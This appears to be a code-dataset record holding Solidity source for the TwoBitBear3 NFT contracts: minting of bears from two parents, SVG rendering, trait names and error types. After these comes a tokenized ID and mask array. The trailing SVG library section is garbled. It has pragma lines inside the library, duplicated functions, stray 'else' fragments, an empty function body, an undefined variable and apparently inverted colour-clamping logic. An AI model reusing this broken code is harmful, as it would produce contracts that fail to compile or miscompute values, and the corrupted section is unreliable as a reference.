calculateSlot(uint256 slotIndex, uint256 totalTokens) external view onlyOwner returns (uint256 slotValue) { uint tokenStart = slotIndex * 32; uint tokenId = tokenStart + 32; if (tokenId > totalTokens) { tokenId = totalTokens; } uint adults = 0; do { tokenId -= 1; slotValue = (slotValue << 8) | _getEligibility(tokenId); if (slotValue >= 0x80) { adults++; } } while (tokenId > tokenStart); if (adults == 0 || (slotIndex < _cubEligibility.length && slotValue == _cubEligibility[slotIndex])) { slotValue = 0; // Reset because there's nothing worth writing } } /// Marks the Gen 3 Bear as having minted a Gen 4 Bear function claimGen4(uint256 tokenId) external onlyWhenExists(tokenId) { if (_gen4Contract == address(0) || _msgSender() != _gen4Contract) revert InvalidCaller(); _generation4Claims[tokenId] = true; } /// @notice For easy import into MetaMask function decimals() external pure returns (uint256) { return 0; } /// @inheritdoc IBear3TraitProvider function hasGen2Mated(uint256 tokenId) external view returns (bool) { return _matedCubs[tokenId]; } /// @inheritdoc IBear3TraitProvider function generation4Claimed(uint256 tokenId) external view onlyWhenExists(tokenId) returns (bool) { return _generation4Claims[tokenId]; } function slotParameters() external view onlyOwner returns (uint256 totalSlots, uint256 totalTokens) { totalTokens = _twoBitCubs.totalSupply(); totalSlots = 1 + totalTokens / 32; } /// Exposes the raw image SVG to the world, for any applications that can take advantage function imageSVG(uint256 tokenId) external view returns (string memory) { return string(_imageBytes(tokenId)); } /// Exposes the image URI to the world, for any applications that can take advantage function imageURI(uint256 tokenId) external view returns (string memory) { return string(OnChain.svgImageURI(_imageBytes(tokenId))); } /// Mints the provided quantity of TwoBitBear3 tokens /// @param parentOne The first gen 2 bear parent, which also determines the mood /// @param parentTwo The second gen 2 bear parent function mateBears(uint256 parentOne, uint256 parentTwo) external { // Check eligibility if (_matedCubs[parentOne]) revert ParentAlreadyMated(parentOne); if (_matedCubs[parentTwo]) revert ParentAlreadyMated(parentTwo); if (_twoBitCubs.ownerOf(parentOne) != _msgSender()) revert ParentNotOwned(parentOne); if (_twoBitCubs.ownerOf(parentTwo) != _msgSender()) revert ParentNotOwned(parentTwo); uint parentOneInfo = _getEligibility(parentOne); uint parentTwoInfo = _getEligibility(parentTwo); uint parentOneSpecies = parentOneInfo & 0x03; if (parentOne == parentTwo || parentOneSpecies != (parentTwoInfo & 0x03)) revert InvalidParentCombination(); if (parentOneInfo < 0x80) revert ParentTooYoung(parentOne); if (parentTwoInfo < 0x80) revert ParentTooYoung(parentTwo); // Prepare mint _matedCubs[parentOne] = true; _matedCubs[parentTwo] = true; uint seed = Randomization.randomSeed(_seed); // seed (208) | parent one (16) | parent two (16) | species (8) | mood (8) uint rawDna = (seed << 48) | (parentOne << 32) | (parentTwo << 16) | (parentOneSpecies << 8) | ((parentOneInfo & 0x7F) >> 2); uint tokenId = _tokenIdsToDNA.length; _tokenIdsToDNA.push(rawDna); _seed = seed; _safeMint(_msgSender(), tokenId, ""); // Reentrancy is possible here } /// @notice Returns expected gas usage based on selected parents, with a small buffer for safety /// @dev Does not check for ownership or whether parents have already mated function matingGas(address minter, uint256 parentOne, uint256 parentTwo) external view returns (uint256 result) { result = 146000; // Lowest gas cost to mint if (_tokenIdsToDNA.length == 0) { result += 16500; } if (balanceOf(minter) == 0) { result += 17500; } // Fetching eligibility of parents will cost additional gas uint fetchCount = 0; if (_eligibility(parentOne) < 0x80) { result += 47000; if (uint(_twoBitCubs.traitsV1(parentOne).mood) >= 4) { result += 33500; } fetchCount += 1; } if (_eligibility(parentTwo) < 0x80) { result += 47000; if (uint(_twoBitCubs.traitsV1(parentTwo).mood) >= 4) { result += 33500; } fetchCount += 1; } // There's some overhead for a single fetch if (fetchCount == 1) { result += 10000; } } /// Prevents a function from executing if the tokenId does not exist modifier onlyWhenExists(uint256 tokenId) { if (!_exists(tokenId)) revert InvalidTokenId(); _; } /// @inheritdoc IBear3TraitProvider function scarColors(uint256 tokenId) external view onlyWhenExists(tokenId) returns (IBear3Traits.ScarColor[] memory) { IBear3Traits.Traits memory traits = _traitsForToken(tokenId); return _bearRenderTech.scarsForTraits(traits); } /// @inheritdoc IERC165 function supportsInterface(bytes4 interfaceId) public view override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /// @inheritdoc IERC721Enumerable function tokenByIndex(uint256 index) external view returns (uint256) { require(index < this.totalSupply(), "global index out of bounds"); return index; // Burning is not exposed by this contract so we can simply return the index } /// @inheritdoc IERC721Enumerable /// @dev This implementation is for the benefit of web3 sites -- it is extremely expensive for contracts to call on-chain function tokenOfOwnerByIndex(address owner_, uint256 index) external view returns (uint256 tokenId) { require(index < ERC721.balanceOf(owner_), "owner index out of bounds"); for (uint tokenIndex = 0; tokenIndex < _tokenIdsToDNA.length; tokenIndex++) { // Use _exists() to avoid a possible revert when accessing OpenZeppelin's ownerOf(), despite not exposing _burn() if (_exists(tokenIndex) && ownerOf(tokenIndex) == owner_) { if (index == 0) { tokenId = tokenIndex; break; } index--; } } } /// @inheritdoc IERC721Metadata function tokenURI(uint256 tokenId) public view override onlyWhenExists(tokenId) returns (string memory) { IBear3Traits.Traits memory traits = _traitsForToken(tokenId); return string(OnChain.tokenURI(_bearRenderTech.metadata(traits, tokenId))); } /// @inheritdoc IERC721Enumerable function totalSupply() external view returns (uint256) { return _tokenIdsToDNA.length; // We don't expose _burn() so the .length suffices } function _eligibility(uint256 parent) private view returns (uint8 result) { uint slotIndex = parent / 32; if (slotIndex < _cubEligibility.length) { result = uint8(_cubEligibility[slotIndex] >> ((parent % 32) * 8)); } } function _getEligibility(uint256 parent) private view returns (uint8 result) { // Check the precalculated eligibility result = _eligibility(parent); if (result < 0x80) { // We need to go get the latest information from the Cubs contract result = _packedInfo(_twoBitCubs.traitsV1(parent)); } } function _imageBytes(uint256 tokenId) private view onlyWhenExists(tokenId) returns (bytes memory) { IBear3Traits.Traits memory traits = _traitsForToken(tokenId); return _bearRenderTech.createSvg(traits, tokenId); } function _traitsForToken(uint256 tokenId) private view returns (IBear3Traits.Traits memory traits) { uint dna = _tokenIdsToDNA[tokenId]; traits.mood = IBear3Traits.MoodType(dna & 0xFF); traits.species = IBear3Traits.SpeciesType((dna >> 8) & 0xFF); traits.firstParentTokenId = uint16(dna >> 16) & 0xFFFF; traits.secondParentTokenId = uint16(dna >> 32) & 0xFFFF; traits.nameIndex = uint8((dna >> 48) & 0xFF); traits.familyIndex = uint8((dna >> 56) & 0xFF); traits.background = IBear3Traits.BackgroundType(((dna >> 64) & 0xFF) % 3); traits.gen4Claimed = _generation4Claims[tokenId]; traits.genes = uint176(dna >> 80); } function _packedInfo(ICubTraits.TraitsV1 memory traits) private view returns (uint8 info) { info |= uint8(traits.species); info |= uint8(traits.mood) << 2; if (traits.age >= _cubAdultAge) { info |= 0x80; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "../interfaces/ICubTraitProvider.sol"; /// @title TwoBitCubs abstract contract TwoBitCubs is IERC721Enumerable, ICubTraitProvider { /// @dev The number of blocks until a growing cub becomes an adult (roughly 1 week) uint256 public constant ADULT_AGE = 44000; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/access/Ownable.sol"; import "@theappstudio/solidity/contracts/utils/DecimalStrings.sol"; import "@theappstudio/solidity/contracts/utils/OnChain.sol"; import "@theappstudio/solidity/contracts/utils/Randomization.sol"; import "@theappstudio/solidity/contracts/utils/SVG.sol"; import "./BearRenderTechErrors.sol"; import "../interfaces/ICubTraits.sol"; import "../interfaces/IBear3Traits.sol"; import "../interfaces/IBearRenderer.sol"; import "../interfaces/IBearRenderTech.sol"; import "../interfaces/IBearRenderTechProvider.sol"; import "../tokens/TwoBitCubs.sol"; /// @title BearRendering3 contract BearRenderTech is Ownable, IBearRenderTech, IBearRenderTechProvider { using Strings for uint256; using DecimalStrings for uint256; /// Represents an encoding of a number struct NumberEncoding { uint8 bytesPerPoint; uint8 decimals; bool signed; } /// @dev The Black Bear SVG renderer IBearRenderer private _blackBearRenderer; /// @dev The Brown Bear SVG renderer IBearRenderer private _brownBearRenderer; /// @dev The Panda Bear SVG renderer IBearRenderer private _pandaBearRenderer; /// @dev The Polar Bear SVG renderer IBearRenderer private _polarBearRenderer; /// @dev Reference to the TwoBitCubs contract TwoBitCubs private immutable _twoBitCubs; /// @dev Controls the reveal bool private _wenReveal; /// Look...at these...Bears constructor(address twoBitCubs) { _twoBitCubs = TwoBitCubs(twoBitCubs); } /// Applies the four IBearRenderers /// @param blackRenderer The Black Bear renderer /// @param brownRenderer The Brown Bear renderer /// @param pandaRenderer The Panda Bear renderer /// @param polarRenderer The Polar Bear renderer function applyRenderers(address blackRenderer, address brownRenderer, address pandaRenderer, address polarRenderer) external onlyOwner { if (address(_blackBearRenderer) != address(0) || address(_brownBearRenderer) != address(0) || address(_pandaBearRenderer) != address(0) || address(_polarBearRenderer) != address(0)) revert AlreadyConfigured(); _blackBearRenderer = IBearRenderer(blackRenderer); _brownBearRenderer = IBearRenderer(brownRenderer); _pandaBearRenderer = IBearRenderer(pandaRenderer); _polarBearRenderer = IBearRenderer(polarRenderer); } function backgroundForType(IBear3Traits.BackgroundType background) public pure returns (string memory) { string[3] memory backgrounds = ["White Tundra", "Green Forest", "Blue Shore"]; return backgrounds[uint(background)]; } /// @inheritdoc IBearRenderTech function createSvg(IBear3Traits.Traits memory traits, uint256 tokenId) public view onlyWenRevealed returns (bytes memory) { IBearRenderer renderer = _rendererForTraits(traits); ISVGTypes.Color memory eyeColor = renderer.customEyeColor(_twoBitCubs.traitsV1(traits.firstParentTokenId)); return SVG.createElement("svg", SVG.svgAttributes(447, 447), abi.encodePacked( _defs(renderer, traits, eyeColor, tokenId), this.rectElement(100, 100, " fill='url(#background)'"), this.pathElement(hex'224d76126b084c81747bfb4381f57cdd821c7de981df7ee74381a37fe5810880c2802f81514c5b3b99a8435a359a5459049aaf57cc9ab0569ab04356939ab055619a55545b99a94c2f678151432e8e80c22df37fe52db77ee7432d7b7de92da17cdd2e227bfb4c39846b0a4c57ca6b0a566b084c76126b085a', "url(#chest)"), this.polygonElement(hex'1207160d0408bc0da20a620d040c0a0a9b08bc0a9b056e0a9b', "url(#neck)"), renderer.customSurfaces(traits.genes, eyeColor, tokenId) )); } /// @inheritdoc IBearRenderTechProvider function dynamicPolygonElement(bytes memory points, bytes memory fill, Substitution[] memory substitutions) external view onlyRenderer returns (bytes memory) { return SVG.createElement("polygon", abi.encodePacked(" points='", _polygonPoints(points, substitutions), "' fill='", fill, "'"), ""); } /// @inheritdoc IBearRenderTech function familyForTraits(IBear3Traits.Traits memory traits) public view override onlyWenRevealed returns (string memory) { string[18] memory families = ["Hirst", "Stark", "xCopy", "Watkinson", "Davis", "Evan Dennis", "Anderson", "Pak", "Greenawalt", "Capacity", "Hobbs", "Deafbeef", "Rainaud", "Snowfro", "Winkelmann", "Fairey", "Nines", "Maeda"]; return families[(uint(uint8(bytes22(traits.genes)[1])) + uint(traits.familyIndex)) % 18]; } /// @inheritdoc IBearRenderTechProvider function linearGradient(bytes memory id, bytes memory points, bytes memory stop1, bytes memory stop2) external view onlyRenderer returns (bytes memory) { string memory stop = "stop"; NumberEncoding memory encoding = _readEncoding(points); bytes memory attributes = abi.encodePacked( " id='", id, "' x1='", _decimalStringFromBytes(points, 1, encoding), "' x2='", _decimalStringFromBytes(points, 1 + encoding.bytesPerPoint, encoding), "' y1='", _decimalStringFromBytes(points, 1 + 2 * encoding.bytesPerPoint, encoding), "' y2='", _decimalStringFromBytes(points, 1 + 3 * encoding.bytesPerPoint, encoding), "'" ); return SVG.createElement("linearGradient", attributes, abi.encodePacked( SVG.createElement(stop, stop1, ""), SVG.createElement(stop, stop2, "") )); } /// @inheritdoc IBearRenderTech function metadata(IBear3Traits.Traits memory traits, uint256 tokenId) external view returns (bytes memory) { string memory token = tokenId.toString(); if (_wenReveal) { return OnChain.dictionary(OnChain.commaSeparated( OnChain.keyValueString("name", abi.encodePacked(nameForTraits(traits), " ", familyForTraits(traits), " the ", moodForType(traits.mood), " ", speciesForType(traits.species), " Bear ", token)), OnChain.keyValueArray("attributes", _attributesFromTraits(traits)), OnChain.keyValueString("image", OnChain.svgImageURI(bytes(createSvg(traits, tokenId)))) )); } return OnChain.dictionary(OnChain.commaSeparated( OnChain.keyValueString("name", abi.encodePacked("Rendering Bear ", token)), OnChain.keyValueString("image", "ipfs://QmUZ3ojSLv3rbu8egkS5brb4ETkNXXmcgCFG66HeFBXn54") )); } /// @inheritdoc IBearRenderTech function moodForType(IBear3Traits.MoodType mood) public pure override returns (string memory) { string[14] memory moods = ["Happy", "Hungry", "Sleepy", "Grumpy", "Cheerful", "Excited", "Snuggly", "Confused", "Ravenous", "Ferocious", "Hangry", "Drowsy", "Cranky", "Furious"]; return moods[uint256(mood)]; } /// @inheritdoc IBearRenderTech function nameForTraits(IBear3Traits.Traits memory traits) public view override onlyWenRevealed returns (string memory) { string[50] memory names = ["Cophi", "Trace", "Abel", "Ekko", "Goomba", "Milk", "Arth", "Roeleman", "Adjudicator", "Kelly", "Tropo", "Type3", "Jak", "Srsly", "Triggity", "SNR", "Drogate", "Scott", "Timm", "Nutsaw", "Rugged", "Vaypor", "XeR0", "Toasty", "BN3", "Dunks", "JFH", "Eallen", "Aspen", "Krueger", "Nouside", "Fonky", "Ian", "Metal", "Bones", "Cruz", "Daniel", "Buz", "Bliargh", "Strada", "Lanky", "Westwood", "Rie", "Moon", "Mango", "Hammer", "Pizza", "Java", "Gremlin", "Hash"]; return names[(uint(uint8(bytes22(traits.genes)[0])) + uint(traits.nameIndex)) % 50]; } /// Prevents a function from executing if not called by an authorized party modifier onlyRenderer() { if (_msgSender() != address(_blackBearRenderer) && _msgSender() != address(_brownBearRenderer) && _msgSender() != address(_pandaBearRenderer) && _msgSender() != address(_polarBearRenderer) && _msgSender() != address(this)) revert OnlyRenderer(); _; } /// Prevents a function from executing until wenReveal is set modifier onlyWenRevealed() { if (!_wenReveal) revert NotYetRevealed(); _; } /// @inheritdoc IBearRenderTechProvider function pathElement(bytes memory path, bytes memory fill) external view onlyRenderer returns (bytes memory result) { NumberEncoding memory encoding = _readEncoding(path); bytes memory attributes = " d='"; uint index = 1; while (index < path.length) { bytes1 control = path[index++]; attributes = abi.encodePacked(attributes, control); if (control == "C") { attributes = abi.encodePacked(attributes, _readNext(path, encoding, 6, index)); index += 6 * encoding.bytesPerPoint; } else if (control == "H") { // Not used by any IBearRenderers anymore attributes = abi.encodePacked(attributes, _readNext(path, encoding, 1, index)); index += encoding.bytesPerPoint; } else if (control == "L") { attributes = abi.encodePacked(attributes, _readNext(path, encoding, 2, index)); index += 2 * encoding.bytesPerPoint; } else if (control == "M") { attributes = abi.encodePacked(attributes, _readNext(path, encoding, 2, index)); index += 2 * encoding.bytesPerPoint; } else if (control == "V") { attributes = abi.encodePacked(attributes, _readNext(path, encoding, 1, index)); index += encoding.bytesPerPoint; } } return SVG.createElement("path", abi.encodePacked(attributes, "' fill='", fill, "'"), ""); } /// @inheritdoc IBearRenderTechProvider function polygonElement(bytes memory points, bytes memory fill) external view onlyRenderer returns (bytes memory) { return SVG.createElement("polygon", abi.encodePacked(" points='", _polygonPoints(points, new Substitution[](0)), "' fill='", fill, "'"), ""); } /// @inheritdoc IBearRenderTechProvider function rectElement(uint256 widthPercentage, uint256 heightPercentage, bytes memory attributes) external view onlyRenderer returns (bytes memory) { return abi.encodePacked("<rect width='", widthPercentage.toString(), "%' height='", heightPercentage.toString(), "%'", attributes, "/>"); } /// Wen the world is ready /// @dev Only the contract owner can invoke this function revealBears() external onlyOwner { _wenReveal = true; } /// @inheritdoc IBearRenderTech function scarsForTraits(IBear3Traits.Traits memory traits) public view onlyWenRevealed returns (IBear3Traits.ScarColor[] memory) { bytes22 geneBytes = bytes22(traits.genes); uint8 scarCountProvider = uint8(geneBytes[18]); uint scarCount = Randomization.randomIndex(scarCountProvider, _scarCountPercentages()); IBear3Traits.ScarColor[] memory scars = new IBear3Traits.ScarColor[](scarCount == 0 ? 1 : scarCount); if (scarCount == 0) { scars[0] = IBear3Traits.ScarColor.None; } else { uint8 scarColorProvider = uint8(geneBytes[17]); uint scarColor = Randomization.randomIndex(scarColorProvider, _scarColorPercentages()); for (uint scar = 0; scar < scarCount; scar++) { scars[scar] = IBear3Traits.ScarColor(scarColor+1); } } return scars; } /// @inheritdoc IBearRenderTech function scarForType(IBear3Traits.ScarColor scarColor) public pure override returns (string memory) { string[4] memory scarColors = ["None", "Blue", "Magenta", "Gold"]; return scarColors[uint256(scarColor)]; } /// @inheritdoc IBearRenderTech function speciesForType(IBear3Traits.SpeciesType species) public pure override returns (string memory) { string[4] memory specieses = ["Brown", "Black", "Polar", "Panda"]; return specieses[uint256(species)]; } function _attributesFromTraits(IBear3Traits.Traits memory traits) private view returns (bytes memory) { bytes memory attributes = OnChain.commaSeparated( OnChain.traitAttribute("Species", bytes(speciesForType(traits.species))), OnChain.traitAttribute("Mood", bytes(moodForType(traits.mood))), OnChain.traitAttribute("Background", bytes(backgroundForType(traits.background))), OnChain.traitAttribute("First Name", bytes(nameForTraits(traits))), OnChain.traitAttribute("Last Name (Gen 4 Scene)", bytes(familyForTraits(traits))), OnChain.traitAttribute("Parents", abi.encodePacked("#", uint(traits.firstParentTokenId).toString(), " & #", uint(traits.secondParentTokenId).toString())) ); bytes memory scarAttributes = OnChain.traitAttribute("Scars", _scarDescription(scarsForTraits(traits))); attributes = abi.encodePacked(attributes, OnChain.continuesWith(scarAttributes)); bytes memory gen4Attributes = OnChain.traitAttribute("Gen 4 Claim Status", bytes(traits.gen4Claimed ? "Claimed" : "Unclaimed")); return abi.encodePacked(attributes, OnChain.continuesWith(gen4Attributes)); } function _decimalStringFromBytes(bytes memory encoded, uint startIndex, NumberEncoding memory encoding) private pure returns (bytes memory) { (uint value, bool isNegative) = _uintFromBytes(encoded, startIndex, encoding); return value.toDecimalString(encoding.decimals, isNegative); } function _defs(IBearRenderer renderer, IBear3Traits.Traits memory traits, ISVGTypes.Color memory eyeColor, uint256 tokenId) private view returns (bytes memory) { string[3] memory firstStop = ["#fff", "#F3FCEE", "#EAF4F9"]; string[3] memory lastStop = ["#9C9C9C", "#A6B39E", "#98ADB5"]; return SVG.createElement("defs", "", abi.encodePacked( this.linearGradient("background", hex'32000003ea000003e6', abi.encodePacked(" offset='0.44521' stop-color='", firstStop[uint(traits.background)], "'"), abi.encodePacked(" offset='0.986697' stop-color='", lastStop[uint(traits.background)], "'") ), renderer.customDefs(traits.genes, eyeColor, scarsForTraits(traits), tokenId) )); } function _polygonCoordinateFromBytes(bytes memory encoded, uint startIndex, NumberEncoding memory encoding, Substitution[] memory substitutions) private pure returns (bytes memory) { (uint x, bool xIsNegative) = _uintFromBytes(encoded, startIndex, encoding); (uint y, bool yIsNegative) = _uintFromBytes(encoded, startIndex + encoding.bytesPerPoint, encoding); for (uint index = 0; index < substitutions.length; index++) { if (x == substitutions[index].matchingX && y == substitutions[index].matchingY) { x = substitutions[index].replacementX; y = substitutions[index].replacementY; break; } } return OnChain.commaSeparated(x.toDecimalString(encoding.decimals, xIsNegative), y.toDecimalString(encoding.decimals, yIsNegative)); } function _polygonPoints(bytes memory points, Substitution[] memory substitutions) private pure returns (bytes memory pointsValue) { NumberEncoding memory encoding = _readEncoding(points); pointsValue = abi.encodePacked(_polygonCoordinateFromBytes(points, 1, encoding, substitutions)); uint bytesPerIteration = encoding.bytesPerPoint << 1; // Double because this method processes 2 points at a time for (uint byteIndex = 1 + bytesPerIteration; byteIndex < points.length; byteIndex += bytesPerIteration) { pointsValue = abi.encodePacked(pointsValue, " ", _polygonCoordinateFromBytes(points, byteIndex, encoding, substitutions)); } } function _readEncoding(bytes memory encoded) private pure returns (NumberEncoding memory encoding) { encoding.decimals = uint8(encoded[0] >> 4) & 0xF; encoding.bytesPerPoint = uint8(encoded[0]) & 0x7; encoding.signed = uint8(encoded[0]) & 0x8 == 0x8; } function _readNext(bytes memory encoded, NumberEncoding memory encoding, uint numbers, uint startIndex) private pure returns (bytes memory result) { result = _decimalStringFromBytes(encoded, startIndex, encoding); for (uint index = startIndex + encoding.bytesPerPoint; index < startIndex + (numbers * encoding.bytesPerPoint); index += encoding.bytesPerPoint) { result = abi.encodePacked(result, " ", _decimalStringFromBytes(encoded, index, encoding)); } } function _rendererForTraits(IBear3Traits.Traits memory traits) private view returns (IBearRenderer) { if (traits.species == IBear3Traits.SpeciesType.Black) { return _blackBearRenderer; } else if (traits.species == IBear3Traits.SpeciesType.Brown) { return _brownBearRenderer; } else if (traits.species == IBear3Traits.SpeciesType.Panda) { return _pandaBearRenderer; } else /* if (traits.species == IBear3Traits.SpeciesType.Polar) */ { return _polarBearRenderer; } } function _scarColorPercentages() private pure returns (uint8[] memory percentages) { uint8[] memory array = new uint8[](2); array[0] = 60; // 60% Blue array[1] = 30; // 30% Magenta return array; // 10% Gold } function _scarCountPercentages() private pure returns (uint8[] memory percentages) { uint8[] memory array = new uint8[](2); array[0] = 70; // 70% None array[1] = 20; // 20% One return array; // 10% Two } function _scarDescription(IBear3Traits.ScarColor[] memory scarColors) private pure returns (bytes memory) { if (scarColors.length == 0 || scarColors[0] == IBear3Traits.ScarColor.None) { return bytes(scarForType(IBear3Traits.ScarColor.None)); } else { return abi.encodePacked(scarColors.length.toString(), " ", scarForType(scarColors[0])); } } function _uintFromBytes(bytes memory encoded, uint startIndex, NumberEncoding memory encoding) private pure returns (uint result, bool isNegative) { result = uint8(encoded[startIndex]); if (encoding.signed) { isNegative = result & 0x80 == 0x80; result &= 0x7F; } uint stopIndex = startIndex + encoding.bytesPerPoint; for (uint index = startIndex + 1; index < stopIndex; index++) { result = (result << 8) + uint(uint8(encoded[index])); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; /// @dev When the renderers are already configured error AlreadyConfigured(); /// @dev When Reveal is false error NotYetRevealed(); /// @dev Only the Renderer can make these calls error OnlyRenderer(); // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; /// @dev The address passed in is not allowed error InvalidAddress(); /// @dev The caller of the method is not allowed error InvalidCaller(); /// @dev When the parent identifiers are not unique or not of the same species error InvalidParentCombination(); /// @dev When the TwoBitBear3 tokenId does not exist error InvalidTokenId(); /// @dev When the parent has already mated error ParentAlreadyMated(uint256 tokenId); /// @dev When the parent is not owned by the caller error ParentNotOwned(uint256 tokenId); /// @dev When the parent is not yet an adult error ParentTooYoung(uint256 tokenId);
@title SVG image library* @dev These methods are best suited towards view/pure only function calls (ALL the way through the call stack). Do not waste gas using these methods in functions that also update state, unless your need requires it./
library SVG { using Strings for uint256; pragma solidity ^0.8.4; error PercentagesGreaterThan100(); pragma solidity ^0.8.4; function createElement(string memory name, bytes memory attributes, bytes memory contents) internal pure returns (bytes memory) { return abi.encodePacked( "<", attributes.length == 0 ? bytes(name) : abi.encodePacked(name, attributes), contents.length == 0 ? bytes("/>") : abi.encodePacked(">", contents, "</", name, ">") ); } function svgAttributes(uint256 width, uint256 height) internal pure returns (bytes memory) { } function colorAttribute(ISVGTypes.ColorAttribute attribute, bytes memory value) internal pure returns (bytes memory) { if (attribute == ISVGTypes.ColorAttribute.Fill) return _attribute("fill", value); if (attribute == ISVGTypes.ColorAttribute.Stop) return _attribute("stop-color", value); } function colorAttributeRGBValue(ISVGTypes.Color memory color) internal pure returns (bytes memory) { return _colorValue(ISVGTypes.ColorAttributeKind.RGB, OnChain.commaSeparated( bytes(uint256(color.red).toString()), bytes(uint256(color.green).toString()), bytes(uint256(color.blue).toString()) )); } function colorAttributeURLValue(bytes memory url) internal pure returns (bytes memory) { return _colorValue(ISVGTypes.ColorAttributeKind.URL, url); } function brightenColor(ISVGTypes.Color memory source, uint32 percentage, uint8 minimumBump) internal pure returns (ISVGTypes.Color memory color) { color.red = _brightenComponent(source.red, percentage, minimumBump); color.green = _brightenComponent(source.green, percentage, minimumBump); color.blue = _brightenComponent(source.blue, percentage, minimumBump); color.alpha = source.alpha; } function fromPackedColor(uint24 packedColor) internal pure returns (ISVGTypes.Color memory color) { color.red = uint8(packedColor >> 16); color.green = uint8(packedColor >> 8); color.blue = uint8(packedColor); color.alpha = 0xFF; } function mixColors(ISVGTypes.Color memory color1, ISVGTypes.Color memory color2, uint32 ratioPercentage, uint32 totalPercentage) internal pure returns (ISVGTypes.Color memory color) { if (ratioPercentage > 100) revert RatioInvalid(); color.red = _mixComponents(color1.red, color2.red, ratioPercentage, totalPercentage); color.green = _mixComponents(color1.green, color2.green, ratioPercentage, totalPercentage); color.blue = _mixComponents(color1.blue, color2.blue, ratioPercentage, totalPercentage); color.alpha = _mixComponents(color1.alpha, color2.alpha, ratioPercentage, totalPercentage); } function randomizeColors(ISVGTypes.Color memory start, ISVGTypes.Color memory stop, ISVGTypes.Color memory random) internal pure returns (ISVGTypes.Color memory color) { color.red = _randomizeComponent(start.red, stop.red, random.red, percent); color.green = _randomizeComponent(start.green, stop.green, random.green, percent); color.blue = _randomizeComponent(start.blue, stop.blue, random.blue, percent); color.alpha = 0xFF; } function _attribute(bytes memory name, bytes memory contents) private pure returns (bytes memory) { return abi.encodePacked(" ", name, "='", contents, "'"); } function _brightenComponent(uint8 component, uint32 percentage, uint8 minimumBump) private pure returns (uint8 result) { uint32 wideComponent = uint32(component); uint32 brightenedComponent = wideComponent * (percentage + 100) / 100; uint32 wideMinimumBump = uint32(minimumBump); if (brightenedComponent - wideComponent < wideMinimumBump) { brightenedComponent = wideComponent + wideMinimumBump; } if (brightenedComponent > 0xFF) { result = uint8(brightenedComponent); } } function _brightenComponent(uint8 component, uint32 percentage, uint8 minimumBump) private pure returns (uint8 result) { uint32 wideComponent = uint32(component); uint32 brightenedComponent = wideComponent * (percentage + 100) / 100; uint32 wideMinimumBump = uint32(minimumBump); if (brightenedComponent - wideComponent < wideMinimumBump) { brightenedComponent = wideComponent + wideMinimumBump; } if (brightenedComponent > 0xFF) { result = uint8(brightenedComponent); } } function _brightenComponent(uint8 component, uint32 percentage, uint8 minimumBump) private pure returns (uint8 result) { uint32 wideComponent = uint32(component); uint32 brightenedComponent = wideComponent * (percentage + 100) / 100; uint32 wideMinimumBump = uint32(minimumBump); if (brightenedComponent - wideComponent < wideMinimumBump) { brightenedComponent = wideComponent + wideMinimumBump; } if (brightenedComponent > 0xFF) { result = uint8(brightenedComponent); } } } else { function _colorValue(ISVGTypes.ColorAttributeKind attributeKind, bytes memory contents) private pure returns (bytes memory) { return abi.encodePacked(attributeKind == ISVGTypes.ColorAttributeKind.RGB ? "rgb(" : "url(#", contents, ")"); } function _mixComponents(uint8 component1, uint8 component2, uint32 ratioPercentage, uint32 totalPercentage) private pure returns (uint8 component) { uint32 mixedComponent = (uint32(component1) * ratioPercentage + uint32(component2) * (100 - ratioPercentage)) * totalPercentage / 10000; if (mixedComponent > 0xFF) { component = uint8(mixedComponent); } } function _mixComponents(uint8 component1, uint8 component2, uint32 ratioPercentage, uint32 totalPercentage) private pure returns (uint8 component) { uint32 mixedComponent = (uint32(component1) * ratioPercentage + uint32(component2) * (100 - ratioPercentage)) * totalPercentage / 10000; if (mixedComponent > 0xFF) { component = uint8(mixedComponent); } } } else { function _randomizeComponent(uint8 start, uint8 stop, uint8 random, uint16 percent) private pure returns (uint8 component) { if (start == stop) { component = start; (uint8 floor, uint8 ceiling) = start < stop ? (start, stop) : (stop, start); component = floor + uint8(uint16(ceiling - (random & 0x01) - floor) * percent / uint16(100)); } } function _randomizeComponent(uint8 start, uint8 stop, uint8 random, uint16 percent) private pure returns (uint8 component) { if (start == stop) { component = start; (uint8 floor, uint8 ceiling) = start < stop ? (start, stop) : (stop, start); component = floor + uint8(uint16(ceiling - (random & 0x01) - floor) * percent / uint16(100)); } } }
1,010,209
[ 1, 26531, 1316, 5313, 225, 8646, 2590, 854, 3796, 1597, 16261, 23248, 1476, 19, 84, 594, 1338, 445, 4097, 261, 4685, 326, 4031, 3059, 326, 745, 2110, 2934, 2256, 486, 341, 14725, 16189, 1450, 4259, 2590, 316, 4186, 716, 2546, 1089, 919, 16, 3308, 3433, 1608, 4991, 518, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
